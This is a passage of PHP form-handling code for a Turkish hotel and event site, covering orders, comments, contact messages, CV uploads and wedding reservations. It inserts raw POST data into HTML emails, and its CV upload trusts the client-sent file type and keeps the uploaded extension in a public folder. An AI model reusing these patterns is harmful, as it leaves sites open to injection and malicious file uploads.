																	<td width="180" valign="top" style="font-size:12px"><b>Adı Soyadı<b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																	<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																	<td valign="top" style="font-size:12px">'.$adsoyad.'</td>
																	</tr>
																</tbody>
															</table>
														</td>
													</tr>
                                                    <tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
																	<td width="180" valign="top" style="font-size:12px"><b>Telefon<b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																	<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																	<td valign="top" style="font-size:12px">'.$telefon.' </td>
																	</tr>
																</tbody>
															</table>
														</td>
													</tr>
                                 <tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
																	<td width="180" valign="top" style="font-size:12px"><b>E-posta<b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																	<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																	<td valign="top" style="font-size:12px">'.$eposta.' </td>
																	</tr>
																</tbody>
															</table>
														</td>
													</tr>
                                 <tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
																	<td width="180" valign="top" style="font-size:12px"><b>Şehir<b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																	<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																	<td valign="top" style="font-size:12px">'.$sehir.' </td>
																	</tr>
																</tbody>
															</table>
														</td>
													</tr>
														<tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
																		<td width="180" valign="top" style="font-size:12px"><b>Müşteri Nou</b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																		<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																		<td valign="top" style="font-size:12px">'.$mesaj.'</td>
																	</tr>
																</tbody>
															</table>
														</td>
													</tr>
											</tbody>
										</table>
										
									</td>
								</tr>
					
                    
								<!--/item-->
								<tr>
									<td>
										<table width="700" height="30" align="center" cellpadding="0" cellspacing="0" border="0" style="  border-collapse:collapse; font-size:12px; font-family:arial; border:1px solid #D7D7D7">
											<thead>
												<tr style="background:#F4F4F4; border:1px solid #D7D7D7">
													<td style="padding:10px"><b>Oda</b> </td>
                                                    <td style="padding:10px"><b>Gecelik Fiyat</b> </td>
													<td style="padding:10px"><b>Geliş Tarihi</b> </td>
													<td style="padding:10px"><b>Çıkış Tarihi</b> </td>
													<td style="padding:10px"><b>Yetişkin</b> </td>
                                                    <td style="padding:10px"><b>Çocuk</b> </td>
												</tr>
											</thead>
											<tbody>
								           <tr>
											<td style="padding:10px">'.$odaadi.'</td>
                                            <td style="padding:10px">'.$sol_sembol2.' ' . $fiyat . ' '.$sag_sembol2.'</td>
															<td style="padding:10px">'.$alistarih2.'</td>
															<td style="padding:10px">'.$donustarih2.'</td>
															<td style="padding:10px">'.$yetiskin.' Kişi</td>
                                                            <td style="padding:10px">'.$cocuk.' Kişi</td>
														</tr>
                                                        
											<tr style="border-top:1px solid #eee">
														<td style="padding:4px"></td>
                                                        	<td style="padding:4px"></td>
                                                        <td style="padding:4px"></td>
														<td style="padding:4px"></td>
														<td style="padding:4px;"></td>
														<td style="padding:6px; text-align:right"><b>Toplam Gün : </b>' . $gun . ' Gün </td>
												</tr>
			                                       <tr style="border-top:1px solid #eee">
														<td style="padding:4px"></td>
                                                        	<td style="padding:4px"></td>
                                                        <td style="padding:4px"></td>
														<td style="padding:4px"></td>
														<td style="padding:4px;"></td>
														<td style="padding:6px; text-align:right"><b>Ektralar Toplamı : </b>'.$sol_sembol2.' ' . $ekstratoplam . ' '.$sag_sembol2.' </td>
												</tr>
												<tr>
														<td style="padding:10px;"></td>
                                                        	<td style="padding:4px"></td>
                                                        <td style="padding:4px"></td>
														<td style="padding:10px;"></td>
														<td style="padding:10px;"></td>
														<td style="padding:6px; text-align:right"> <b>Genel Tutar : </b> '.$sol_sembol2.' ' . $geneltoplam . ' '.$sag_sembol2.' </td>
												</tr>
											</tbody>
										</table>
									</td>
									
								</tr>
								
							</tbody>
						</table>
				
					</td>
				</tr>
	
			</tbody>
		</table>   ';
					
if(!$mail->Send())
{
?>
<?php  
}else{
?>                                         
<?php
}
}else{
}
?>   
	

<?php
if($_POST["teklifiste"]) {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $recaptcha = $_POST['g-recaptcha-response'];
    if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$tarih = date("d-m-Y");
$ad = htmlspecialchars($_POST['ad']);
$firma = htmlspecialchars($_POST['firma']);
$telefon = $_POST['telefon'];
$eposta = $_POST['eposta'];
$mesaj = htmlspecialchars($_POST['mesaj']);
$urun = htmlspecialchars($_POST['urun']);
$kod = htmlspecialchars($_POST['kod']);
$okundu = $_POST['okundu'];
$onay = $_POST['onay'];
$insert = $db->prepare("INSERT INTO siparisler SET
        ad = ?,
		firma = ?,
        eposta = ?,
        telefon = ?,
        mesaj = ?,
        urun = ?,
		kod = ?,
        tarih = ?,
		okundu = ?,
        onay = ?");
$insert->execute(array(
    $ad,
    $firma,
    $eposta,
    $telefon,
    $mesaj,
	$urun,
	$kod,
    $tarih,
    $okundu,
	$onay
));
$pid = $db->lastInsertId(); 
$konu = $_POST['urun']. " - ".$hdil["_hsiparisver"]."";
$link = "teklifgoruntule";
$ikon = "fa-shopping-cart";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $ad,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $pid,	
	$tarih

)); 
if ($ayarlardegisken["smsdurum"] == "1"){	

$konu = str_replace("\n", " ", $konu);
$konu = str_replace("\r", " ", $konu);
$konu = str_replace("\r\n", " ", $konu);

$smsmesaj="Merhaba Sitenizden Siparis var. ".$konu."";
$smstel='9'.$smstelefongonder.''; 
$firmasmsbaslik=''.$smsbaslik.'';

$smsmesaj = html_entity_decode($smsmesaj, ENT_COMPAT, "UTF-8"); 
$smsmesaj = rawurlencode($smsmesaj); 

$firmasmsbaslik = html_entity_decode($firmasmsbaslik, ENT_COMPAT, "UTF-8"); 
$firmasmsbaslik = rawurlencode($firmasmsbaslik); 
echo sendsms($smsmesaj,$smstel,$firmasmsbaslik);
}
// -------------- SMTP SUNUCU AYARLARI  BAŞLANGIÇ ----------------//


include "static/class.phpmailer.php"; 	
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
    $mail->Subject  =  $_POST['ad']. " ".$hdil["_hsiparisver"]."";     // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['ad'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Firma Adı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['firma'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Telefon Numarası :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['telefon'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>E-Posta :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['eposta'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Sipariş verilen ürün :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['urun'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
						<font face="Tahoma" size="2"><strong>Mesaj :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['mesaj'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
					
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-5").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
?>   


<?php
if($_POST["musteriyorumu"]) {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $recaptcha = $_POST['g-recaptcha-response'];
    if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$tarih = date("d-m-Y H:i:s");
$adsoyad = $_POST['adsoyad'];
$eposta = $_POST['eposta'];
$telefon = $_POST['telefon'];
$mesaj = $_POST['mesaj'];
$urunid = "0";
$onay = guvenlik($_POST['onay']);
$insert = $db->prepare("INSERT INTO yorumlar SET
        adsoyad = ?,
        eposta = ?,		
        telefon = ?,
        mesaj = ?,
        tarih = ?,
		urunid = ?,
        onay = ?");
$insert->execute(array(
    $adsoyad,
    $eposta,
    $telefon,	
    $mesaj,
    $tarih,
	$urunid,
	 $onay
));
$pid = $db->lastInsertId(); 
$konu = "".$hdil["_hyorum"]."";
$link = "yorumgoruntule";
$ikon = "fa-comments";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $adsoyad,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $pid,	
	$tarih

)); 
include "static/class.phpmailer.php";
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
$mail->Subject  =  $_POST['adsoyad']. "  ".$hdil["_hyorum"]."";    // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['adsoyad'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>E-Posta :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['eposta'] . '</font></td>
					</tr>';
	
$mail->Body     .= '<tr>
						<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
						<font face="Tahoma" size="2"><strong>Yorum :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['mesaj'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
					
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-3").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
?>   

<?php
if($_POST["iletisimmesaj"]) {
	if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $recaptcha = $_POST['g-recaptcha-response'];
    if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$tarih = date("d-m-Y");
$adsoyad = $_POST['adsoyad'];
$telefon = $_POST['telefon'];
$eposta = $_POST['eposta'];
$konu = $_POST['konu'];
$mesaj = $_POST['mesaj'];
$okundu = $_POST['okundu'];
$ekle = $db->prepare("INSERT INTO dilek SET
        adsoyad = ?,
        telefon = ?,
        eposta = ?,
        konu = ?,
        mesaj = ?,
        tarih = ?,
        okundu = ?");
$ekle->execute(array(
    $adsoyad,
    $telefon,
    $eposta,
    $konu,
    $mesaj,
    $tarih,
    $okundu
));
$pid = $db->lastInsertId(); 
$konu = $_POST['konu']. " - ".$hdil["_hiform"]."";
$link = "mailgoruntule";
$ikon = "fa-envelope-o";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $adsoyad,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $pid,	
	$tarih

)); 
if ($ayarlardegisken["smsdurum"] == "1"){
	
$mesaj = str_replace("\n", " ", $mesaj);
$mesaj = str_replace("\r", " ", $mesaj);
$mesaj = str_replace("\r\n", " ", $mesaj);

$smsmesaj="Merhaba Sitenizden Mesaj var. ".$mesaj."";
$smstel='9'.$smstelefongonder.''; 
$firmasmsbaslik=''.$smsbaslik.'';

$smsmesaj = html_entity_decode($smsmesaj, ENT_COMPAT, "UTF-8"); 
$smsmesaj = rawurlencode($smsmesaj); 

$firmasmsbaslik = html_entity_decode($firmasmsbaslik, ENT_COMPAT, "UTF-8"); 
$firmasmsbaslik = rawurlencode($firmasmsbaslik); 

echo sendsms($smsmesaj,$smstel,$firmasmsbaslik);
}
include "static/class.phpmailer.php";
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
$mail->Subject  =  $_POST['adsoyad']. "  ".$_POST["konu"]."";    // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['adsoyad'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Telefon Numarası :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['telefon'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>E-Posta :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['eposta'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Konu :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['konu'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
						<font face="Tahoma" size="2"><strong>Mesaj :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['mesaj'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-4").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
?> 


      <?php
if($_POST["basvuruformu"]) {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$recaptcha = $_POST['g-recaptcha-response'];
if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$tarih = date("d-m-Y");
$baslik = guvenlik($_POST['baslik']);
$telefon = guvenlik($_POST['telefon']);
$eposta = guvenlik($_POST['eposta']);
$onay = $_POST['onay'];
$sonuc = $_POST['sonuc'];
	function dosyaadi($degisken){
		$bul	= array('Ç', 'Ş', 'Ğ', 'Ü', 'İ', 'Ö', 'ç', 'ş', 'ğ', 'ü', 'ö', 'ı', 'Ö', 'İ', 'Ü', '-');
		$degistir = array('c', 's', 'g', 'u', 'i', 'o', 'c', 's', 'g', 'u', 'o', 'i', 'o', 'i', 'u', ' ');
		$sonuc = strtolower(str_replace($bul, $degistir, $degisken));
		$sonuc = str_replace(' ', '-', $sonuc);
		return $sonuc;
	}

	$klasor = 'upload/cv2331'; // Dosyanın yükleneceği klasör

    $dosya = $_FILES['image1']; // Gönderilen dosyanın bilgilerini değişkene aktarıyoruz

    $gelenformat = $dosya['type']; // Gelen dosyanın formatını tanımlıyoruz.

    $dosya_tmp = $dosya['tmp_name']; // Gelen dosyanın tmp adını tanımlıyoruz.

	$dosyaformati = array("image/pjpeg", "image/jpeg", "image/gif", "application/docx", "application/pdf", "application/doc", "image/png"); // Yüklenmesine izin verilecek dosya formatlarını seçiyoruz

	$urldecode = urldecode($dosya['name']); // Gönderilen dosya adına urldecode fonksiyonu uygulanıyor.

	$dosya = explode('/', $urldecode);

	$zaman = time(); // Dosya isimlerinin karışmaması için random değer üretmek adına time fonksiyonunu kullanıyoruz.

	if (in_array($gelenformat, $dosyaformati)) { // Php in_array fonksiyonu ile gelen dosya formatının izin verilen formatlara uygun olup olmadığını kontrol ediyoruz.

		$yuklenendosya = $klasor . '/' . $zaman . dosyaadi($dosya[count($dosya) - 1]); // Göndeirlen dosyayı yukarıda tanımladığımız dosyaadi() fonksiyonundan geçiriyoruz. Ve dosya yolu ile beraber değişkene atıyoruz.

		move_uploaded_file($dosya_tmp, $yuklenendosya); // Yüklenen dosyayı tmp dizininden olması gereken dizine taşıyoruz.

		$yuklenendosyaadi = $zaman . dosyaadi($dosya[count($dosya) - 1]); // Yüklenen dosya adını ekrana yazdırmak veya veri tabanına yazdırmak için değişkene atıyoruz.

		if ($yuklenendosyaadi) {
		}

	}else{

$sonuc = '<script type="text/javascript">

$("document").ready(function() {

$(".sweet-1").trigger("click");

});

</script>hata'; // Eğer izin verilmeyen bir formatta yüklenmeye çalışırsa hata mesajı döndürüyoruz.

	}



$ekle = $db->prepare("INSERT INTO ikform SET dosya = ?, tarih = ?, baslik = ?, telefon = ?,  eposta = ?");

$ekle->execute(array(

    $yuklenendosyaadi,

	$tarih,

	$baslik,

	$telefon,

	$eposta

));
$pid = $db->lastInsertId(); 
$konu = $_POST['adsoyad']. " - ".$hdil["_hik"]."";
$link = "insankaynaklari";
$ikon = "fa-user";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $baslik,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $pid,	
	$tarih

));
if ($ayarlardegisken["smsdurum"] == "1"){	

$konu = str_replace("\n", " ", $konu);
$konu = str_replace("\r", " ", $konu);
$konu = str_replace("\r\n", " ", $konu);

$smsmesaj="Merhaba Sitenizden Mesaj var. ".$konu."";
$smstel='9'.$smstelefongonder.''; 
$firmasmsbaslik=''.$smsbaslik.'';

$smsmesaj = html_entity_decode($smsmesaj, ENT_COMPAT, "UTF-8"); 
$smsmesaj = rawurlencode($smsmesaj); 

$firmasmsbaslik = html_entity_decode($firmasmsbaslik, ENT_COMPAT, "UTF-8"); 
$firmasmsbaslik = rawurlencode($firmasmsbaslik); 
echo sendsms($smsmesaj,$smstel,$firmasmsbaslik);
} 
include "static/class.phpmailer.php";
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
$mail->Subject  =  $_POST['adsoyad']. "  ".$hdil["hik"]."";    



//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_POST['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['baslik'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Telefon Numarası :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['telefon'] . '</font></td>
					</tr>';


$mail->Body     .=  '<tr>
						<td height="30" align="left">

						<font face="Tahoma" size="2"><strong>E-Posta :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['eposta'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Cv Görüntüle :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">http://'. $_SERVER['HTTP_HOST'] . '/upload/cv2331/'.$b[dosya].'</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-4").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
?> 

<?php
if($_POST["dugunrezervasyon"]) {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $recaptcha = $_POST['g-recaptcha-response'];
    if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$buguntarih = date("d-m-Y");
$adsoyad = htmlspecialchars($_POST['adsoyad']);
$telefon = $_POST['telefon'];
$eposta = $_POST['eposta'];
$mesaj = htmlspecialchars($_POST['mesaj']);
$tarih = htmlspecialchars($_POST['tarih']);
$saat = htmlspecialchars($_POST['saat']);
$okundu = $_POST['okundu'];
$onay = $_POST['onay'];
$insert = $db->prepare("INSERT INTO dugunsiparisler SET
        adsoyad = ?,
        eposta = ?,
        telefon = ?,
        mesaj = ?,
        saat = ?,
        tarih = ?,
		okundu = ?,
        onay = ?");
$insert->execute(array(
    $adsoyad,
    $eposta,
    $telefon,
    $mesaj,
	$saat,
    $tarih,
    $okundu,
	$onay
));
$pid = $db->lastInsertId(); 
$konu = $hdil["_online_rezervasyon"];
$link = "dugunteklifgoruntule";
$ikon = "fa-table";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $adsoyad,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $pid,	
	$buguntarih

)); 
if ($ayarlardegisken["smsdurum"] == "1"){	

$konu = str_replace("\n", " ", $konu);
$konu = str_replace("\r", " ", $konu);
$konu = str_replace("\r\n", " ", $konu);

$smsmesaj="Merhaba Sitenizden Rezervason var. ".$konu."";
$smstel='9'.$smstelefongonder.''; 
$firmasmsbaslik=''.$smsbaslik.'';

$smsmesaj = html_entity_decode($smsmesaj, ENT_COMPAT, "UTF-8"); 
